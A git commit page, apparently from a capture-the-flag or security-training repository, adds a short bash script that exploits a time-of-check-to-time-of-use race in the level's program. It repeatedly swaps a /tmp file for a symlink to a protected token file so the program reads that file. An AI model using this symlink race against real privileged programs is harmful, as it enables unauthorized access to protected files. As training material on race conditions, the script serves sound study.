feat(lvl10/ressources): adding the toctou script
This commit is contained in:
parent
e5215ef92d
commit
b28e4293f3
1 changed files with 17 additions and 0 deletions
17
level10/ressources/toctou.sh
Normal file
17
level10/ressources/toctou.sh
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
#!/bin/env bash
|
||||
|
||||
INPUT="/home/user/level10/token"
|
||||
OUTPUT="/tmp/toctou"
|
||||
PROGRAM="/home/user/level10/level10"
|
||||
|
||||
touch $OUTPUT
|
||||
|
||||
while true; do $PROGRAM $OUTPUT 127.0.0.1; done &
|
||||
|
||||
while ! test -r $OUTPUT; do
|
||||
rm -f $OUTPUT
|
||||
touch $OUTPUT
|
||||
rm -rf $OUTPUT
|
||||
ln -s $INPUT $OUTPUT
|
||||
done
|
||||
|
||||
Loading…
Add table
Add a link
Reference in a new issue